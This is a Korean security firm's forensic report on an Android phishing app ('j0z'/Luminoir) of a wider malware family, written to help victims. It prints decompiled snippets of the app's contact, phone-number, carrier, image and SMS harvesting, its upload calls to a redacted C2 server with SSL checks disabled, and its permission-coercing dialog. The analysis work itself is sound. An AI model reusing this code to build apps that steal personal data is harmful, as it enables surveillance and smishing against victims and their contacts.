j0z 상세 분석 보고서

j0z (Luminoir) 악성앱 분석 보고서

분석일: 2025-07-16

분석자: 주식회사 아크링크 ([비공개] 대표)

분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 분석

보고서 버전: v3.0

1. 앱 기본 정보

항목 · 내용

**파일명** · j0z.apk

**패키지명** · com.arcseed.luminoir

**앱 이름** · Luminoir (strings.xml: "JOZ")

**메인 패키지** · com.vortexa.qubeleaf

**Application 클래스** · com.vortexa.qubeleaf.Myapplication

**Target SDK (원본)** · 34 (Android 14)

**Target SDK (패치)** · 28 (Android 9)

**Min SDK (원본)** · 29 (Android 10)

**Min SDK (패치)** · 21 (Android 5.0)

**Compile SDK** · 34 -> 28 (패치)

**프레임워크** · Native Android (Kotlin)

**패밀리** · Wavegrid 변종 (독립 진화 계열)

**아이콘** · @mipmap/logoshow

**원본 APK 크기** · 13.5 MB

**패치 APK 크기** · 11.5 MB (-15%)

**Kotlin 버전** · 1.9.0 (mv = {0x1, 0x9, 0x0})

**R8 최적화** · 적용됨 ($r8$lambda$ 접두사 확인)

Wavegrid 패밀리와의 관계

j0z는 Wavegrid 패밀리에 속하면서도 독자적 진화를 보인 변종이다:

공유 특성 (Wavegrid):

· `[비공개] 접두사를 사용하는 RuoYi 기반 C2 서버

· webapp/login, webapp/saveAddressBook, webapp/image/ 엔드포인트

· HTTP 200 = 실패 역로직 (원본 코드)

· FastJSON 기반 응답 파싱

· SharedPreferences 상태 관리 (IFFIRST, UUIDVALUE, INVITECODE, ISUPLOAD)

독자적 특성:

· 패키지 구조가 com.vortexa.qubeleaf로 Chinso/Q와 다른 계열

· ServerUtil 유틸리티 클래스에 C2 URL을 상수로 명시적 선언

· GlobuleValue 글로벌 상수 클래스 별도 존재

· BaseActivity 상속 구조 사용 (Chinso/Q는 FragmentActivity 직접 상속)

· ContainActivity (데이터 수집) vs SecondActivity (Chinso/Q의 구조)

· HomeActivity가 런처 (Chinso/Q는 MainActivity)

· EasyHttp 라이브러리 사용 (Chinso/Q는 다른 HTTP 라이브러리)

· PermissDialog 별도 권한 요청 다이얼로그 클래스

· StatusUtils 상태바 유틸리티 별도 존재

· MALBIO 유전체에서 is_wavegrid=0으로 분류됨 (패키지 패턴 차이)

이러한 차이는 j0z가 Wavegrid의 동일 설계 사상을 공유하지만, 다른 개발자 또는 다른 시점에서 재구현된 변종임을 시사한다.

2. 권한 분석

요청 권한 목록

권한 · 위험도 · 피해 시나리오

`READ_CONTACTS` · **위험** · 피해자의 연락처 전체를 탈취. 이름+번호 조합으로 지인 사칭 피싱 문자 발송에 활용. "OO님의 택배입니다" 형태로 2차 피해 확산

`READ_PHONE_STATE` · **위험** · IMEI, 기기 모델, SIM 시리얼 수집. [피해자 정보 비공개] 고유 식별하여 중복 감염 방지 및 [피해자 정보 비공개] 사용

`READ_PHONE_NUMBERS` · **위험** · [피해자 정보 비공개] 전화번호 직접 탈취. 대포폰 번호 데이터베이스 구축 또는 보이스피싱 타겟 리스트에 추가

`READ_EXTERNAL_STORAGE` · **위험** · 외부 저장소의 문서, 사진, 다운로드 파일 무차별 접근 (API 32 이하)

`WRITE_EXTERNAL_STORAGE` · 일반 · 외부 저장소 쓰기

`INTERNET` · 일반 · C2 서버 통신

`ACCESS_NETWORK_STATE` · 일반 · 네트워크 상태 확인

`MOUNT_UNMOUNT_FILESYSTEMS` · 일반 · 파일시스템 마운트

j0z 고유 특성

원본 Manifest에는 READ_MEDIA_IMAGES, READ_MEDIA_VIDEO (API 33+) 권한이 존재했으나, 패치 과정에서 targetSdkVersion을 28로 하향하면서 이 권한들이 제거되었다. 대신 READ_EXTERNAL_STORAGE로 통합 접근하는 구조가 되었다. 이는 j0z가 10개 API 29+ 이슈를 해결하기 위해 targetSdk까지 하향 조정한 특수 사례이기 때문이다.

권한 요청 흐름 (PermissionX 라이브러리)

j0z는 com.permissionx.guolindev (GuoLinDev의 PermissionX) 라이브러리를 사용하여 런타임 권한을 요청한다. ContainActivity.getPerInfo() 메서드에서 SDK 버전에 따라 동적으로 권한 목록을 구성한다:

```kotlin

// 역컴파일된 권한 요청 로직

fun getPerInfo(permissionSize: Int) {

val permissions = ArrayList<String>()

if (Build.VERSION.SDK_INT >= 33) {

permissions.add("READ_MEDIA_IMAGES")

permissions.add("READ_MEDIA_VIDEO")

} else {

permissions.add("READ_EXTERNAL_STORAGE")

}

if (permissionSize != 3) { // SIZE=3이면 이미 허용된 상태

permissions.add("READ_CONTACTS")

permissions.add("READ_PHONE_NUMBERS")

permissions.add("READ_PHONE_STATE")

}

PermissionX.init(this).permissions(permissions).request { granted, denied ->

if (granted) shareCOntain()

else showActiveDialog(100) // 설정 화면으로 유도

}

}

```

3. 코드 구조 분석

주요 Activity

Activity · 클래스 경로 · 설명

`HomeActivity` · `com.vortexa.qubeleaf.view.HomeActivity` · 런처 Activity. 초대코드 입력 화면

`ContainActivity` · `com.vortexa.qubeleaf.view.ContainActivity` · 데이터 수집 화면. 권한 요청 및 탈취 수행

핵심 클래스

클래스 · smali 경로 · 역할

`HomeActivity` · `smali/com/vortexa/qubeleaf/view/HomeActivity.smali` · 초대코드 입력 UI, 로그인 API 호출, IFFIRST 플래그 확인

`HomeActivity$goToNext$2` · `smali/com/vortexa/qubeleaf/view/HomeActivity$goToNext$2.smali` · 로그인 API 콜백. HTTP 200 응답코드 검증 (역로직)

`ContainActivity` · `smali/com/vortexa/qubeleaf/view/ContainActivity.smali` · 연락처 수집 (`webapp/saveAddressBook`), 권한 요청

`ContainActivity$startImgShowInfo$1` · `smali/com/vortexa/qubeleaf/view/ContainActivity$startImgShowInfo$1.smali` · 이미지 업로드 (`webapp/image/`), Luban 압축 콜백

`ContainActivity$startNuxtInfo$1` · `smali/com/vortexa/qubeleaf/view/ContainActivity$startNuxtInfo$1.smali` · 연락처 업로드 콜백, ISUPLOAD 플래그 설정

`BaseActivity` · `smali/com/vortexa/qubeleaf/view/base/BaseActivity.smali` · Activity 베이스 클래스 (ViewBinding, 리플렉션 inflate)

`Myapplication` · `smali/com/vortexa/qubeleaf/Myapplication.smali` · Application. EasyHttp 초기화, C2 URL 설정, SSL 비활성화

`ServerUtil` · `smali/com/vortexa/qubeleaf/util/ServerUtil.smali` · C2 URL 상수 정의, postFile() 파일 업로드

`GlobuleValue` · `smali/com/vortexa/qubeleaf/util/GlobuleValue.smali` · 글로벌 상수 (INVITECODE, UUIDVALUE, IFFIRST, SIZE=3)

`StatusUtils` · `smali/com/vortexa/qubeleaf/util/StatusUtils.smali` · 데이터 수집 유틸리티 (연락처, 이미지, SMS, 통신사)

`PermissDialog` · `smali/com/vortexa/qubeleaf/util/PermissDialog.smali` · 권한 요청 커스텀 다이얼로그

`CollectBeanDTO` · `smali/com/vortexa/qubeleaf/bean/CollectBeanDTO.smali` · 연락처 데이터 모델 (name, number)

`InfoBeanDTO` · `smali/com/vortexa/qubeleaf/bean/InfoBeanDTO.smali` · 미디어/SMS 정보 모델 (displayName, path, content, date, type)

`ResultSuccessCallBack` · `smali/com/vortexa/qubeleaf/bean/ResultSuccessCallBack.smali` · API 성공 콜백 인터페이스

앱 실행 흐름

```

[사용자 앱 설치]

[HomeActivity] 초대코드 입력 화면

init() -> IFFIRST 확인

(이미 인증됨) -> startUp() -> ContainActivity로 바로 이동

(최초 실행) -> 초대코드 입력 대기

setList() -> startBtn 클릭 리스너

코드 입력 -> goToNext(uuid, mCode)

[서버 POST: webapp/login] {name: 초대코드, cId: UUID}

(EasyHttp.post -> SimpleCallBack)

HomeActivity$goToNext$2.onSuccess()

code != 200 -> SPUtils 저장 -> startUp()

[ContainActivity] 권한 요청 + 데이터 수집

init() -> INVITECODE, ISUPLOAD 확인

setList() -> btnSync 클릭 리스너 -> getPerInfo(3)

권한 승인 -> shareCOntain()

1. TelephonyManager.getLine1Number() -> 본인 전화번호

2. startNuxtInfo() -> 연락처 수집 + C2 전송

3. startImgShowInfo() -> 이미지 수집 + Luban 압축 + C2 전송

권한 거부 -> showActiveDialog() -> 앱 설정 화면으로 유도

```

BaseActivity 아키텍처 패턴

j0z의 BaseActivity는 Kotlin 제네릭과 리플렉션을 활용한 ViewBinding 자동화 패턴을 구현한다:

```kotlin

// BaseActivity.kt 역컴파일

abstract class BaseActivity<VB : ViewBinding> : FragmentActivity() {

lateinit var mBinding: VB

override fun onCreate(savedInstanceState: Bundle?) {

super.onCreate(savedInstanceState)

ImmersionBar.with(this).statusBarDarkFont(true).init()

// 리플렉션으로 ViewBinding 자동 inflate

val clazz = (javaClass.genericSuperclass as ParameterizedType)

.actualTypeArguments[0] as Class<VB>

val method = clazz.getMethod("inflate", LayoutInflater::class.java)

mBinding = method.invoke(null, layoutInflater) as VB

setContentView(mBinding.root)

init() // 자식 클래스 초기화

setList() // 자식 클래스 이벤트 바인딩

}

abstract fun init()

abstract fun setList()

}

```

이 패턴은 Chinso/Q에서는 발견되지 않는 구조로, 더 체계적인 개발자 역량을 보여준다.

Chinso/Q와의 구조적 차이

항목 · Chinso/Q · j0z

런처 · MainActivity · HomeActivity

데이터 수집 · SecondActivity · ContainActivity

HTTP 라이브러리 · 난독화된 커스텀 (qx, km1) · EasyHttp (com.zhouyou.http)

Activity 상속 · FragmentActivity · BaseActivity (커스텀)

C2 URL 관리 · Application + 난독화 상수 · ServerUtil (명시적 상수)

SP 유틸 · 직접 SharedPreferences · SPUtils (BlankJ)

권한 다이얼로그 · 시스템 기본 · PermissDialog (커스텀)

권한 요청 · 직접 구현 · PermissionX (GuoLinDev)

ViewBinding · 수동 inflate · BaseActivity의 getMBinding() (리플렉션)

이미지 압축 · 미사용/직접 · Luban 라이브러리

JSON 파싱 · FastJSON · FastJSON (동일) + GsonUtils

4. 네트워크/C2 분석

C2 서버 정보

항목 · 내용

**도메인** · [비공개]

**Base URL** · `[비공개]

**프로토콜** · HTTPS

**서버 프레임워크** · RuoYi (Spring Boot 기반)

**TLD** · `.online` (저비용 TLD, 위험도 높음)

**도메인 패턴** · 랜덤 문자열 + 숫자 조합 (일회용)

TLD 위험도 분석

.online은 ML의 C2 도메인([비공개])과 동일한 TLD를 사용한다. 도메인명 yubtrqvz12254는 랜덤 문자열+숫자 조합으로, Wavegrid 패밀리 전체에서 관찰되는 일회용 도메인 생성 패턴과 일치한다.

API 엔드포인트

엔드포인트 · 메소드 · 파라미터 · 용도 · 응답 처리

`[비공개] · POST · `{name: 초대코드, cId: UUID}` · 초대코드 인증 · code!=200 → 성공(역로직)

`[비공개] · POST · HashMap(JSON) · 연락처+기기정보 업로드 · code==200 → ISUPLOAD=true

`[비공개] · POST · File (multipart/form-data) · 미디어 파일 업로드 · ResultSuccessCallBack

C2 URL 설정 위치 - ServerUtil (명시적 선언)

j0z는 Chinso/Q와 달리 ServerUtil 클래스에 C2 URL을 명시적으로 선언한다:

```smali

ServerUtil.smali

.field public static final baseUrl:Ljava/lang/String; = "[비공개]

.field public static final contactUrl:Ljava/lang/String; = "webapp/saveAddressBook"

.field public static final imgUrl:Ljava/lang/String; = "webapp/image/"

.field public static final loginUrl:Ljava/lang/String; = "webapp/login"

.field public static final serverApi:Ljava/lang/String; = "[비공개]"

```

Chinso/Q에서는 이 정보가 난독화된 di0.smali에 분산되어 있었으나, j0z는 유틸리티 클래스에 명확하게 정리되어 있다. 이는 j0z가 다른 개발 스타일로 구현되었음을 보여주는 증거다.

C2 URL 이중 하드코딩

C2 URL은 두 곳에 하드코딩되어 있다:

1. ServerUtil.baseUrl (상수 필드): `"[비공개]

2. Myapplication.onCreate() (EasyHttp 초기화): EasyHttp.setBaseUrl("[비공개])

3. ServerUtil.postFile() (직접 URL 조합): new StringBuilder("[비공개])

이 이중 하드코딩은 동적 C2 변경이 불가능함을 의미한다. 서버 교체 시 APK 재배포가 필요하며, 이는 초기 단계의 공격 인프라임을 시사한다.

네트워크 재시도 정책

```kotlin

// Myapplication.onCreate()

EasyHttp.init(application)

EasyHttp.getInstance()

.setCertificates() // SSL 인증서 검증 비활성화

.setBaseUrl("[비공개])

.setRetryCount(3) // 3회 재시도

```

실패 시 3회까지 자동 재시도하며, 이는 불안정한 일회용 C2 서버 환경에서의 안정성을 확보하기 위한 조치다.

5. 방어기제 분석

5.1 에뮬레이터 탐지

위치: com/blankj/utilcode/util/d.smali (DeviceUtils)

Chinso/Q/ML과 동일한 BlankJ 기반 탐지 모듈 내장. 다만 j0z는 이 탐지를 적극적으로 사용하지 않는 것으로 분석됨 (호출 경로 미확인).

5.2 초대코드 인증

위치: HomeActivity.smali -> HomeActivity$goToNext$2.smali

j0z의 초대코드 검증은 Chinso/Q와 동일한 역로직을 사용하지만, 구현 방식이 다르다:

```smali

HomeActivity$goToNext$2.smali (onSuccess 메서드)

const/16 v1, 0xc8 # 200

if-eq v0, v1, :cond_1 # 200이면 -> cond_1(실패 처리)로 이동

200이 아니면 -> 성공 처리 (SPUtils에 UUIDVALUE, INVITECODE 저장)

```

주의: j0z의 코드는 이미 if-eq로 되어 있다. 이는 j0z가 패치 과정에서 이미 역전이 적용된 상태이거나, 원본 코드 자체가 이 형태였을 수 있다. 어느 경우든 결과적으로 "200이면 실패"라는 Wavegrid의 역로직이 구현되어 있다.

j0z와 Chinso/Q의 콜백 구조 비교:

· Chinso/Q: p12 (난독화된 콜백 클래스) 상속

· j0z: SimpleCallBack (EasyHttp 라이브러리의 명시적 콜백) 상속

5.3 API 레벨 제한 (역대 최다: 10개 이슈)

원본 minSdkVersion: 29 (Android 10)

j0z는 Wavegrid 변종 중 가장 많은 API 29+ 의존성(10개)을 보유한 케이스다. 이는 j0z가 다른 변종보다 더 최신 Android API를 적극 활용했거나, 더 많은 서드파티 라이브러리를 포함했기 때문이다.

순번 · 문제 · 파일/위치 · API 레벨

1 · `minSdkVersion: 29` · apktool.yml · API 29+

2 · `targetSdkVersion: 34` · apktool.yml · API 34

3 · `adaptive-icon` 사용 · mipmap-anydpi/ · API 26+

4 · `ProcessLifecycleOwner$Api29Impl` · androidx.lifecycle · API 29+

5 · `ReportFragment.registerActivityLifecycleCallbacks` · androidx.lifecycle · API 29+

6 · `setStatusBarContrastEnforced` (1) · ImmersionBar.smali · API 29+

7 · `setNavigationBarContrastEnforced` (1) · ImmersionBar.smali · API 29+

8 · `setNavigationBarContrastEnforced` (2) · BarUtils.smali · API 29+

9 · `EdgeToEdgeApi29` API 호출들 · androidx.activity · API 29+

10 · Android 13+ 전용 권한들 · AndroidManifest.xml · API 33+

5.4 PermissDialog - 커스텀 권한 유도 다이얼로그

위치: com/vortexa/qubeleaf/util/PermissDialog.smali

j0z는 시스템 기본 권한 다이얼로그 대신 커스텀 PermissDialog를 사용하여 사용자를 심리적으로 조종한다:

```kotlin

// PermissDialog.kt 역컴파일

class PermissDialog(context: Context, themeResId: Int, layoutResId: Int) : Dialog(context, themeResId) {

private val view: View = LayoutInflater.from(context).inflate(layoutResId, null)

init { setContentView(view) }

fun setLocation(x: Int, gravity: Int) {

val window = window!!

window.decorView.setPadding(x * 3, 0, x * 3, 0) // 좌우 패딩

val params = window.attributes

params.width = WRAP_CONTENT

params.gravity = gravity // 0x11 = CENTER

window.attributes = params

}

override fun dismiss() {

// IME 키보드 자동 숨김 처리

val focus = currentFocus

if (focus is TextView) {

val imm = context.getSystemService("input_method") as InputMethodManager

imm.hideSoftInputFromWindow(focus.windowToken, 0)

}

super.dismiss()

}

}

```

다이얼로그 사용 패턴:

1. showDialog(): 제목/내용 설정 가능한 정보 다이얼로그 (연락처 업로드 성공 시)

2. showActiveDialog(): 권한 거부 시 앱 설정 화면으로 강제 이동하는 다이얼로그

```kotlin

// showActiveDialog() - 권한 거부 시 설정으로 유도

fun showActiveDialog(code: Int) {

val dialog = PermissDialog(this, R.style.CustomDialog, R.layout.diaolog_permission)

dialog.view.findViewById<TextView>(R.id.btn).setOnClickListener {

dialog.dismiss()

val intent = Intent("android.settings.APPLICATION_DETAILS_SETTINGS")

intent.data = Uri.fromParts(getString(R.string.packageInfo), packageName, null)

startActivityForResult(intent, code) // requestCode = 100

}

dialog.show()

dialog.setLocation(0, 0x11) // CENTER

}

```

한글 strings.xml에서 permission 값: "필수 권한을 허용해야 서비스 정상 이용이 가능합니다." 이 메시지로 피해자에게 권한 허용을 강요한다.

6. 데이터 탈취 분석

수집 대상 전수 분석

데이터 유형 · 수집 메서드 · 수집 방식 · 전송 API

**연락처 (이름+번호)** · `StatusUtils.getContacts()` · ContactsContract.Contacts 2단계 조회 · `webapp/saveAddressBook`

**연락처 (간편)** · `StatusUtils.getContactss()` · content://com.android.contacts/data/phones 직접 URI · -

**연락처 (Phone)** · `StatusUtils.getContact()` · ContactsContract.CommonDataKinds.Phone · `webapp/saveAddressBook`

**피해자 전화번호** · `ContainActivity.shareCOntain()` · TelephonyManager.getLine1Number() · 연락처와 함께 전송

**통신사 정보** · `StatusUtils.getOperatorName()` · TelephonyManager.getSimOperatorName() · 연락처와 함께 전송

**미디어 파일 (이미지)** · `StatusUtils.getAlbum()` · MediaStore.Images.Media 쿼리 · `webapp/image/{homeCode}`

**미디어 파일 (이미지 v2)** · `StatusUtils.getImg()` · MediaStore + date_modified DESC 정렬 · -

**SMS 메시지** · `StatusUtils.getMsgs()` · content://sms/ (최근 5일) · **(미사용, 잠재적 위협)**

**이미지 압축** · `StatusUtils.compressImage()` · JPEG 100→10% 압축 루프 · Luban 전처리

**파일 저장** · `StatusUtils.saveFile()` · externalCacheDir/Ask/ 경로 · 임시 파일 생성

3중 연락처 수집 코드 - 개발 과정 증거

StatusUtils에는 3개의 연락처 수집 메서드가 존재한다. 이는 개발 과정에서의 시행착오 흔적이다:

메서드 1: `getContacts()` - 2단계 조회 (정밀)

```java

// 1단계: Contacts 테이블에서 ID와 이름 조회

Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, ...);

while (cursor.moveToNext()) {

String id = cursor.getString(cursor.getColumnIndex("_id"));

String name = cursor.getString(cursor.getColumnIndex("display_name"));

int hasPhone = cursor.getInt(cursor.getColumnIndex("has_phone_number"));

if (hasPhone > 0) {

// 2단계: Phone 테이블에서 해당 contact_id의 전화번호 조회

Cursor phoneCursor = contentResolver.query(

ContactsContract.CommonDataKinds.Phone.CONTENT_URI,

null, "contact_id=" + id, null, null);

while (phoneCursor.moveToNext()) {

CollectBeanDTO dto = new CollectBeanDTO();

dto.name = name;

dto.number = phoneCursor.getString(

phoneCursor.getColumnIndex("data1"))

.trim().replace(" ", "").replace("-", ""); // 공백/하이픈 제거

}

}

}

```

주목할 점: 전화번호에서 공백과 하이픈을 자동 제거한다 ("010-**-" -> "010--**"). 이는 서버에서 일관된 형식으로 처리하기 위함이며, 2차 공격(스미싱) 자동화를 위한 전처리다.

메서드 2: `getContactss()` - Content URI 직접 접근

```java

// content://com.android.contacts/data/phones 직접 접근

Uri uri = Uri.parse("content://com.android.contacts/data/phones");

Cursor cursor = contentResolver.query(uri, null, null, null, null);

// Log.d("TAG", "getContact===" + name); // 디버그 로그 포함!

```

주목할 점: Log.d() 디버그 로그가 제거되지 않고 남아 있다. 이는 개발 중인 코드가 프로덕션에 그대로 포함된 것으로, 개발자의 부주의를 보여준다.

메서드 3: `getContact()` - Phone 테이블 직접 조회

```java

// ContainActivity.startNuxtInfo()에서 실제 호출되는 메서드

Cursor cursor = contentResolver.query(

ContactsContract.CommonDataKinds.Phone.CONTENT_URI,

null, null, null, null);

// displayName, data1(번호), contact_id 조회

```

실제 사용: ContainActivity에서는 getContact()만 호출한다. getContacts()와 getContactss()는 사용되지 않는 데드 코드이나, 개발 과정에서의 반복 시도를 보여주는 포렌식 증거다.

SMS 수집 코드 분석 (Dead Code - 잠재적 위협)

위치: StatusUtils.getMsgs() (line 703-882)

```java

// StatusUtils.getMsgs() 역컴파일

public static List<InfoBeanDTO> getMsgs(Context context) {

List<InfoBeanDTO> list = new ArrayList<>();

try {

Uri uri = Uri.parse("content://sms/");

Calendar calendar = Calendar.getInstance();

calendar.add(Calendar.DAY_OF_MONTH, -1); // 하루 전? (코드는 -1이나 상수 5 사용)

String[] projection = {"address", "date", "type", "body"};

Cursor cursor = context.getContentResolver().query(uri, projection, null, null, null);

while (cursor.moveToNext()) {

String address = cursor.getString(0); // 발신자 번호

String date = cursor.getString(1); // 수신 시각

String type = cursor.getString(2); // 수신(1)/발신(2)/임시저장(3)

String body = cursor.getString(3); // SMS 내용

InfoBeanDTO dto = new InfoBeanDTO();

dto.content = body;

dto.displayName = address;

dto.date = date;

dto.type = type;

list.add(dto);

// 디버그 로그 (제거되지 않음!)

Log.e("TAG", "address:${address},date:${date},type:${type},body:${body}" + address + body + type);

}

cursor.close();

} catch (Exception e) { }

return list;

}

```

분석 결과:

· READ_SMS 권한이 AndroidManifest에 없다 -> 런타임에 SecurityException 발생

· ContainActivity에서 getMsgs()를 호출하지 않는다

· 그러나 코드 자체는 완전하고 기능적이다

· Log.e() 디버그 로그가 남아있어 개발 중이었음을 시사

· 결론: 향후 버전에서 활성화될 수 있는 잠재적 SMS 탈취 기능. 권한 추가만으로 즉시 활성화 가능

연락처 데이터 전송 구조

```java

// ContainActivity.startNuxtInfo() - 서버 전송 데이터 구조

HashMap<String, Object> params = new HashMap<>();

params.put("userName", homeCode); // 초대코드 ([피해자 정보 비공개])

params.put("model", "android"); // OS 식별

params.put("bjPhone", codeValue); // [피해자 정보 비공개] 전화번호

params.put("operatorName", StatusUtils.getOperatorName(this)); // 통신사명

params.put("phoneContent", JSONObject.toJSONString(contactList)); // 연락처 JSON 배열

EasyHttp.post("webapp/saveAddressBook")

.upJson(GsonUtils.toJson(params))

.execute(new SimpleCallBack<String>() { ... });

```

전송 데이터 필드 분석:

필드 · 값 · 피해 용도

`userName` · 초대코드 · [피해자 정보 비공개] 및 공격 조직 내 분류

`model` · "android" · 기기 OS 식별

`bjPhone` · TelephonyManager.getLine1Number() · [피해자 정보 비공개] 전화번호 직접 탈취

`operatorName` · TelephonyManager.getSimOperatorName() · 통신사 정보 (SKT/KT/LGU+ 식별)

`phoneContent` · FastJSON 직렬화된 연락처 배열 ·

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr